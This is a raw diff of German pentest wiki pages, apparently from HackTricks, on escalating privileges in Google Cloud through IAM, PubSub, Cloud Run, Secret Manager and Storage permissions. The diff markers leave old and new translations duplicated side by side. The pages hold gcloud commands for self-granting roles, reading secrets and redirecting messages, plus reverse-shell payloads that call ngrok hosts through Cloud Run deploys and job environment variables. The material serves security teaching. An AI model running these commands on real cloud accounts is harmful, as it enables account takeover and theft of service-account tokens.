Beachte, dass laut der [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts) die Delegation von `gcloud` nur funktioniert, um einen Token mit der Methode [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) zu erzeugen. Hier siehst du, wie man einen Token direkt über die API erhält:
```bash
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
@@ -70,27 +67,23 @@ curl -X POST \
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
```
</details>
Sie finden ein Skript, um die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) zu automatisieren und ein python-Skript, um dieses Privileg auszunutzen [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Für mehr Informationen siehe die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Du findest ein Skript, um die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) zu automatisieren und ein python script, um dieses Privileg zu missbrauchen [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Für mehr Informationen siehe die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signBlob`
Ein Angreifer mit den genannten Berechtigungen kann **beliebige Payloads in GCP signieren**. Es ist also möglich, **ein nicht signiertes JWT des SA zu erstellen und es dann als Blob zu senden, damit das JWT vom Ziel-SA signiert wird**. Für mehr Informationen [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
Ein Angreifer mit den genannten Berechtigungen kann **beliebige Payloads in GCP signieren**. Somit ist es möglich, **einen unsigned JWT des SA zu erstellen und ihn dann als Blob zu senden, damit der JWT vom SA signiert wird**. Für mehr Informationen [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
Sie finden ein Skript, um die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) zu automatisieren und ein python-Skript, um dieses Privileg auszunutzen [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) und [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Für mehr Informationen siehe die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Du findest ein Skript, um die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) zu automatisieren und ein python script, um dieses Privileg zu missbrauchen [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) und [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Für mehr Informationen siehe die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signJwt`
Ein Angreifer mit den genannten Berechtigungen kann **wohlgeformte JSON web tokens (JWTs) signieren**. Der Unterschied zur vorherigen Methode ist, dass **anstatt google ein Blob signieren zu lassen, das ein JWT enthält, wir die signJWT-Methode verwenden, die bereits ein JWT erwartet**. Das macht die Nutzung einfacher, aber du kannst nur JWTs signieren, statt beliebiger Bytes.
Ein Angreifer mit den genannten Berechtigungen kann **wohlgeformte JSON web tokens (JWTs) signieren**. Der Unterschied zur vorherigen Methode ist, dass **anstatt google ein Blob zu signieren, das ein JWT enthält, wir die signJWT-Methode verwenden, die bereits ein JWT erwartet**. Das macht die Nutzung einfacher, aber du kannst nur JWTs signieren anstatt beliebiger Bytes.
Sie finden ein Skript, um die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) zu automatisieren und ein python-Skript, um dieses Privileg auszunutzen [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Für mehr Informationen siehe die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Du findest ein Skript, um die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) zu automatisieren und ein python script, um dieses Privileg zu missbrauchen [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Für mehr Informationen siehe die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
Ein Angreifer mit den genannten Berechtigungen kann **IAM-Policies zu Service Accounts hinzufügen**. Du kannst dies ausnutzen, um dir **selbst** die Berechtigungen zu gewähren, die du benötigst, um dich als das Servicekonto auszugeben. Im folgenden Beispiel gewähren wir uns die Rolle `roles/iam.serviceAccountTokenCreator` für das interessante SA:
<details><summary>IAM-Policy-Bindung zum Servicekonto hinzufügen</summary>
Ein Angreifer mit den genannten Berechtigungen kann **IAM policies zu service accounts hinzufügen**. Du kannst das ausnutzen, um dir **die Berechtigungen zu gewähren**, die du benötigst, um den service account zu impersonate. Im folgenden Beispiel gewähren wir uns die Rolle `roles/iam.serviceAccountTokenCreator` für den interessanten SA:
```bash
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
@@ -101,55 +94,45 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
```
</details>
Du findest ein Skript zur Automatisierung der [**Erstellung, Exploit und Bereinigung einer verwundbaren Umgebung hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
### `iam.serviceAccounts.actAs`
Die Berechtigung `iam.serviceAccounts.actAs` ist vergleichbar mit der `iam:PassRole`-Berechtigung von AWS. Sie ist essenziell, um Aufgaben auszuführen, z. B. das Starten einer Compute Engine-Instanz, da sie die Fähigkeit gewährt, "actAs" ein Servicekonto auszuführen und damit eine sichere Rechteverwaltung ermöglicht. Ohne diese Berechtigung könnten Benutzer unberechtigten Zugriff erlangen. Außerdem beinhaltet das Ausnutzen von `iam.serviceAccounts.actAs` verschiedene Methoden, die jeweils eine Menge von Berechtigungen erfordern im Gegensatz zu anderen Methoden, die nur eine einzelne Berechtigung benötigen.
Die **iam.serviceAccounts.actAs permission** ist wie die **iam:PassRole permission from AWS**. Sie ist essenziell, um Aufgaben auszuführen z. B. das Starten einer Compute Engine-Instanz da sie die Fähigkeit gewährt, als "actAs" ein Service Account zu agieren und so ein sicheres permission-Management ermöglicht. Ohne diese könnten Benutzer unberechtigten Zugriff erlangen. Außerdem umfasst das Ausnutzen von **iam.serviceAccounts.actAs** verschiedene Methoden, die jeweils mehrere permissions erfordern, im Gegensatz zu anderen Methoden, die nur eine benötigen.
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
Die Impersonation (Vortäuschen) eines Servicekontos kann sehr nützlich sein, um neue und bessere Privilegien zu erhalten. Es gibt drei Wege, wie man ein anderes Servicekonto impersonifizieren kann:
Impersonating a service account kann sehr nützlich sein, um **neue und bessere privileges** zu erhalten. Es gibt drei Wege, wie man [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
- Authentifizierung mittels RSA-Privatschlüsseln (weiter oben behandelt)
- Autorisierung mittels Cloud IAM policies (hier behandelt)
- Deployment von Jobs auf GCP-Services (mehr relevant bei der Kompromittierung eines Benutzerkontos)
- Authentication **using RSA private keys** (oben behandelt)
- Authorization **using Cloud IAM policies** (hier behandelt)
- **Deploying jobs on GCP services** (mehr anwendbar auf die Kompromittierung eines Benutzerkontos)
### `iam.serviceAccounts.getOpenIdToken`
Ein Angreifer mit den genannten Rechten kann ein OpenID JWT erzeugen. Diese werden verwendet, um Identität zu bestätigen und tragen nicht notwendigerweise eine implizite Autorisierung gegenüber einer Ressource.
Ein Angreifer mit den genannten permissions kann ein OpenID JWT erzeugen. Diese werden benutzt, um Identität zu bestätigen, tragen jedoch nicht notwendigerweise eine implizite Autorisierung gegen eine Ressource.
Laut diesem [**interessanten Beitrag**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b) muss die audience (der Service, bei dem Du das Token zur Authentifizierung verwenden willst) angegeben werden; Du erhältst ein von google signiertes JWT, das das Servicekonto und die audience des JWT angibt.
Laut diesem [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b) muss die audience angegeben werden (der Service, bei dem du das Token zur Authentifizierung verwenden möchtest) und du erhältst ein von google signiertes JWT, das das Service Account und die audience des JWT angibt.
Du kannst ein OpenIDToken erzeugen (wenn Du Zugriff hast) mit:
<details><summary>OpenID-Token für Servicekonto erzeugen</summary>
You can generate an OpenIDToken (if you have the access) with:
```bash
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
```
</details>
Dann kannst du es einfach verwenden, um auf den Service zuzugreifen mit:
<details><summary>Use OpenID token to authenticate</summary>
Dann kannst du es einfach verwenden, um mit folgendem Befehl auf den Dienst zuzugreifen:
```bash
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
```
</details>
Einige Dienste, die Authentifizierung über diese Art von Tokens unterstützen, sind:
Einige Dienste, die Authentifizierung über solche Token unterstützen, sind:
- [Google Cloud Run](https://cloud.google.com/run/)
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
Ein Beispiel, wie man ein OpenID-Token im Namen eines Service Accounts erstellt, finden Sie [**hier**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
Ein Beispiel, wie man ein OpenID-Token im Namen eines Service-Accounts erstellt, finden Sie [**hier**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
## Referenzen

View File

@@ -4,34 +4,67 @@
## PubSub
Erhalten Sie weitere Informationen in:
Weitere Informationen:
{{#ref}}
../gcp-services/gcp-pub-sub.md
{{#endref}}
### `pubsub.snapshots.create`
Die Snapshots von Themen **enthalten die aktuellen unACKed Nachrichten und jede Nachricht danach**. Sie könnten einen Snapshot eines Themas erstellen, um **auf alle Nachrichten zuzugreifen**, **ohne direkt auf das Thema zuzugreifen**.
### `pubsub.snapshots.create` (`pubsub.topics.attachSubscription`)
Die Snapshots von Topics **enthalten die aktuellen unACKed messages und jede Nachricht danach**. Du könntest einen Snapshot eines Topics erstellen, um **auf alle Nachrichten zuzugreifen**, **ohne direkten Zugriff auf das Topic**.
```bash
gcloud pubsub subscriptions create <subscription_name> --topic <topic_name> --push-endpoint https://<URL_to_push_to>
```
### **`pubsub.snapshots.setIamPolicy`**
Weisen Sie sich die vorherigen Berechtigungen zu.
Erteilt dir die vorherigen Berechtigungen.
### `pubsub.subscriptions.create`
Sie können ein Push-Abonnement in einem Thema erstellen, das alle empfangenen Nachrichten an die angegebene URL sendet.
Du kannst eine push subscription in einem topic erstellen, die alle empfangenen Nachrichten an die angegebene URL sendet.
### **`pubsub.subscriptions.update`**
Setzen Sie Ihre eigene URL als Push-Endpunkt, um die Nachrichten zu stehlen.
Setze deine eigene URL als Push-Endpunkt, um die Nachrichten abzufangen.
### `pubsub.subscriptions.consume`
Greifen Sie auf Nachrichten über das Abonnement zu.
Greife über die Subscription auf Nachrichten zu.
```bash
gcloud pubsub subscriptions pull <SUSCRIPTION> \
--limit=50 \
--format="json" \
--project=<PROJECTID>
```
### `pubsub.subscriptions.setIamPolicy`
Geben Sie sich eine der vorherigen Berechtigungen.
Gib dir selbst eine der vorherigen Berechtigungen.
```bash
# Add Binding
gcloud pubsub subscriptions add-iam-policy-binding <SUSCRIPTION_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub subscriptions remove-iam-policy-binding <SUSCRIPTION_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub subscriptions set-iam-policy <SUSCRIPTION_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Cloud Run
Für mehr Informationen über Cloud Run siehe:
Für weitere Informationen über Cloud Run siehe:
{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
@@ -12,18 +12,15 @@ Für mehr Informationen über Cloud Run siehe:
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
Ein Angreifer mit diesen Berechtigungen kann **create a run service running arbitrary code** (arbitrary Docker container), ein Service Account daran anhängen und den Code dazu bringen, das Service Account token aus der metadata zu exfiltrate.
Ein Angreifer mit diesen Berechtigungen kann **create a run service running arbitrary code** (arbitrary Docker container) erstellen, einen Service Account daran anhängen und den Code dazu bringen, **exfiltrate the Service Account token from the metadata**.
An Exploit-Skript für diese Methode ist [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) zu finden und das Docker-Image ist [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage) zu finden.
Ein Exploit-Skript für diese Methode ist [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) zu finden und das Docker image ist [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage) zu finden.
Beachte, dass beim Verwenden von `gcloud run deploy` anstatt nur den Service zu erstellen **die `update` permission** benötigt wird. Schau dir ein [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh) an.
Beachte, dass beim Verwenden von `gcloud run deploy` anstatt nur den Service zu erstellen, **die `update`-Berechtigung benötigt wird**. Check an [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
### `run.services.update` , `iam.serviceAccounts.actAs`
Wie das vorherige, aber zum Aktualisieren eines Service:
<details>
<summary>Deploy Cloud Run service with reverse shell</summary>
Wie das vorherige, jedoch wird ein Service aktualisiert:
```bash
# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
@@ -39,18 +36,29 @@ gcloud run deploy hacked \
# If you don't have permissions to use "--allow-unauthenticated", dont use it
```
</details>
### `run.services.setIamPolicy`
Verschaffe dir zuvor benötigte Berechtigungen für Cloud Run.
Gewähre dir vorherige Berechtigungen für cloud Run.
```bash
# Change policy
gcloud run services set-iam-policy <SERVICE_NAME> <POLICY_FILE>.json \
--region=us-central1
# Add binding
gcloud run services add-iam-policy-binding <SERVICE_NAME> \
--member="allUsers" \
--role="roles/run.invoker" \
--region=us-central1
# Remove binding
gcloud run services remove-iam-policy-binding <SERVICE_NAME> \
--member="allUsers" \
--role="roles/run.invoker" \
--region=us-central1
```
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
Starte einen Job mit einer reverse shell, um das im Befehl angegebene Service-Konto zu stehlen. Du findest ein [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
<details>
<summary>Erstelle einen Cloud Run-Job mit reverse shell</summary>
Starte einen Job mit einer reverse shell, um das im Befehl angegebene service account zu stehlen. Du findest einen [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
```bash
gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
@@ -60,14 +68,9 @@ gcloud beta run jobs create jab-cloudrun-3326 \
--region=us-central1
```
</details>
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
Ähnlich wie beim vorherigen Beispiel ist es möglich, **einen Job und den SA zu aktualisieren**, den **Befehl** anzupassen und ihn **auszuführen**:
<details>
<summary>Update Cloud Run job and execute with reverse shell</summary>
Ähnlich wie beim vorherigen ist es möglich, **einen Job zu aktualisieren und das SA zu ändern**, den **Befehl** zu setzen und **ihn auszuführen**:
```bash
gcloud beta run jobs update hacked \
--image=mubuntu:latest \
@@ -77,23 +80,32 @@ gcloud beta run jobs update hacked \
--region=us-central1 \
--execute-now
```
</details>
### `run.jobs.setIamPolicy`
Erteile dir selbst die zuvor genannten Berechtigungen für Cloud Jobs.
Gib dir selbst die zuvor genannten Berechtigungen für Cloud Jobs.
```bash
# Change policy
gcloud run jobs set-iam-policy <JOB_NAME> <POLICY_FILE>.json \
--region=us-central1
# Add binding
gcloud run jobs add-iam-policy-binding <JOB_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/run.invoker" \
--region=us-central1
# Remove binding
gcloud run jobs remove-iam-policy-binding <JOB_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/run.invoker" \
--region=us-central1
```
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
Missbrauche die env variables einer Job-Ausführung, um beliebigen Code auszuführen und eine reverse shell zu erhalten, damit du den Inhalt des Containers (source code) auslesen und auf das SA im metadata zugreifen kannst:
<details>
<summary>Execute Cloud Run job with environment variable exploitation</summary>
Missbrauche die env variables einer Job-Ausführung, um beliebigen Code auszuführen und eine reverse shell zu erhalten, um die Inhalte des container (source code) zu dumpen und auf das SA in den metadata zuzugreifen:
```bash
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
```
</details>
## Referenzen
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

View File

@@ -4,7 +4,7 @@
## secretmanager
Weitere Informationen über secretmanager:
Weitere Informationen zu secretmanager:
{{#ref}}
../gcp-services/gcp-secrets-manager-enum.md
@@ -12,16 +12,16 @@ Weitere Informationen über secretmanager:
### `secretmanager.versions.access`
Dies gibt dir Zugriff, die Secrets aus dem secret manager zu lesen und könnte dabei helfen, Privilegien zu eskalieren (abhängig davon, welche Informationen im Secret gespeichert sind):
Dies gibt Ihnen Zugriff, um die Secrets aus dem secret manager zu lesen und kann helfen, Privilegien zu eskalieren (abhängig davon, welche Informationen im Secret gespeichert sind):
<details><summary>Klartext-Version eines Secrets abrufen</summary>
<details><summary>Secret-Version im Klartext abrufen</summary>
```bash
# Get clear-text of version 1 of secret: "<secret name>"
gcloud secrets versions access 1 --secret="<secret_name>"
```
</details>
Da dies auch eine post exploitation technique ist, findet es sich in:
Da dies außerdem eine post exploitation technique ist, ist sie zu finden in:
{{#ref}}
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
@@ -29,14 +29,20 @@ Da dies auch eine post exploitation technique ist, findet es sich in:
### `secretmanager.secrets.setIamPolicy`
Dies ermöglicht Ihnen, die Secrets aus dem secret manager zu lesen, z. B. mit:
Dies ermöglicht dir, die secrets aus dem secret manager zu lesen, z. B. mit:
<details><summary>IAM policy binding zum secret hinzufügen</summary>
<details><summary>Add IAM policy binding to secret</summary>
```bash
gcloud secrets add-iam-policy-binding <scret-name> \
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
--role="roles/secretmanager.secretAccessor"
```
Oder widerrufe Richtlinien mit:
```bash
gcloud secrets remove-iam-policy-binding <secret-name> \
--member="serviceAccount:<sa-name>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/secretmanager.secretAccessor"
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Storage
Basic Information:
Grundlegende Informationen:
{{#ref}}
../gcp-services/gcp-storage-enum.md
@@ -12,28 +12,82 @@ Basic Information:
### `storage.objects.get`
Diese Berechtigung erlaubt dir, **Dateien herunterzuladen, die in Cloud Storage gespeichert sind**. Dies kann dir potenziell erlauben, escalate privileges, da in einigen Fällen **sensible Informationen dort gespeichert werden**. Außerdem speichern einige GCP-Services ihre Informationen in Buckets:
Diese Berechtigung erlaubt es dir, **Dateien aus Cloud Storage herunterzuladen**. Das kann dir potenziell ermöglichen, Privilegien zu eskalieren, da in manchen Fällen **sensible Informationen dort gespeichert sind**. Außerdem speichern einige GCP-Services ihre Informationen in Buckets:
- **GCP Composer**: Wenn du ein Composer Environment erstellst, wird der **Code aller DAGs** in einem **Bucket** gespeichert. Diese Tasks könnten interessante Informationen in ihrem Code enthalten.
- **GCR (Container Registry)**: Die **Images** der Container werden in **Buckets** gespeichert, was bedeutet, dass du, wenn du die Buckets lesen kannst, die Images herunterladen und **nach leaks und/oder Quellcode** suchen kannst.
- **GCP Composer**: Wenn du eine Composer Environment erstellst, wird der **Code aller DAGs** in einem **Bucket** gespeichert. Diese Tasks könnten interessante Informationen in ihrem Code enthalten.
- **GCR (Container Registry)**: Das **Image** der Container wird in **Buckets** gespeichert, was bedeutet, dass du, wenn du die Buckets lesen kannst, die Images herunterladen und nach leaks und/oder Quellcode durchsuchen kannst.
### `storage.objects.setIamPolicy`
Damit kannst du dir die Berechtigung geben, **jede der vorherigen Szenarien dieses Abschnitts zu missbrauchen**.
Damit kannst du dir die Berechtigung geben, **jedes der vorherigen Szenarien in diesem Abschnitt auszunutzen**.
```bash
# Add binding
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>
# Remove binding
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>
# Change Policy
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY
```
### **`storage.buckets.setIamPolicy`**
Ein Beispiel dafür, wie man Berechtigungen mit dieser Berechtigung ändert, findest du auf dieser Seite:
Für ein Beispiel, wie man Berechtigungen mit dieser Berechtigung ändert, siehe diese Seite:
```bash
# Add binding
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>
# Remove binding
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>
# Change policy
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY
```
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
{{#endref}}
### `storage.hmacKeys.create`
Die "interoperability"-Funktion von Cloud Storage, entwickelt für **cross-cloud interactions** wie mit AWS S3, beinhaltet die **Erstellung von HMAC keys für Service Accounts und Benutzer**. Ein Angreifer kann dies ausnutzen, indem er **einen HMAC key für einen Service Account mit elevated privileges erzeugt**, und dadurch **escalating privileges innerhalb von Cloud Storage** ermöglicht. Während HMAC keys, die Benutzern zugeordnet sind, nur über die Web-Konsole abrufbar sind, bleiben sowohl Access- als auch Secret-Keys **dauerhaft zugänglich**, was das Speichern von Backup-Zugängen erlaubt. Im Gegensatz dazu sind HMAC keys, die mit Service Accounts verknüpft sind, per API zugänglich, aber ihre Access- und Secret-Keys sind nach der Erstellung nicht mehr abrufbar, was die Aufrechterhaltung eines kontinuierlichen Zugangs erschwert.
<details><summary>Erstellen und Verwenden eines HMAC key für privilege escalation</summary>
Die "interoperability"-Funktion von Cloud Storage, konzipiert für **cross-cloud interactions** wie mit AWS S3, ermöglicht die **Erstellung von HMAC keys für Service Accounts und users**. Ein Angreifer kann dies ausnutzen, indem er **einen HMAC key für ein Service Account mit erhöhten Rechten generiert**, wodurch er **Privilegien innerhalb von Cloud Storage eskalieren** kann. Während bei user-assoziierten HMAC keys diese nur über die web console abrufbar sind, bleiben sowohl die access und secret keys **dauerhaft zugänglich**, was das Speichern von Backup-Zugangsdaten ermöglicht. Dagegen sind Service Account-gebundene HMAC keys API-accessible, aber deren access und secret keys sind nach der Erstellung nicht mehr abrufbar, was die dauerhafte Nutzung erschwert.
```bash
# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
@@ -63,54 +117,52 @@ gsutil ls gs://[BUCKET_NAME]
# Restore
gcloud config set pass_credentials_to_gsutil true
```
</details>
Ein weiteres Exploit-Skript für diese Methode kann gefunden werden [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
Ein weiteres Exploit-Skript für diese Methode ist [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py) zu finden.
### `storage.objects.create`, `storage.objects.delete` = Storage Schreibberechtigungen
### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
Um ein **neues Objekt zu erstellen** innerhalb eines Buckets benötigt man `storage.objects.create` und, laut [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), benötigt man außerdem `storage.objects.delete`, um ein bestehendes Objekt zu **modifizieren**.
Um ein **neues Objekt** in einem Bucket zu erstellen, benötigen Sie `storage.objects.create` und, laut [der Dokumentation](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), außerdem `storage.objects.delete`, um ein vorhandenes Objekt zu **ändern**.
Eine sehr **häufige Ausnutzung** von Buckets, in die man in der Cloud schreiben kann, ist der Fall, dass der **Bucket Webserver-Dateien speichert** — man könnte in der Lage sein, **neuen Code zu speichern**, der von der Webanwendung verwendet wird.
Eine sehr **häufige Ausnutzung** von Buckets, in die man in der Cloud schreiben kann, ist der Fall, dass der **Bucket Webserver-Dateien speichert** — man könnte dann **neuen Code ablegen**, der von der Webanwendung verwendet wird.
### Composer
**Composer** ist **Apache Airflow**, das in GCP verwaltet wird. Es hat mehrere interessante Eigenschaften:
**Composer** ist **Apache Airflow**, das innerhalb von GCP verwaltet wird. Es hat mehrere interessante Eigenschaften:
- Es läuft innerhalb eines **GKE-Clusters**, daher ist die **vom Cluster verwendete SA vom in Composer ausgeführten Code aus zugänglich**.
- Alle Komponenten einer Composer-Umgebung (**code of DAGs**, Plugins und Daten) werden in einem GCP-Bucket gespeichert. Wenn ein Angreifer Lese- und Schreibrechte darauf hat, könnte er den Bucket überwachen und **immer wenn ein DAG erstellt oder aktualisiert wird, eine backdoored Version einreichen**, sodass die Composer-Umgebung die backdoored Version aus dem Storage erhält.
- Es läuft innerhalb eines **GKE cluster**, daher ist das vom Cluster verwendete **SA für den Code, der in Composer läuft, zugänglich**.
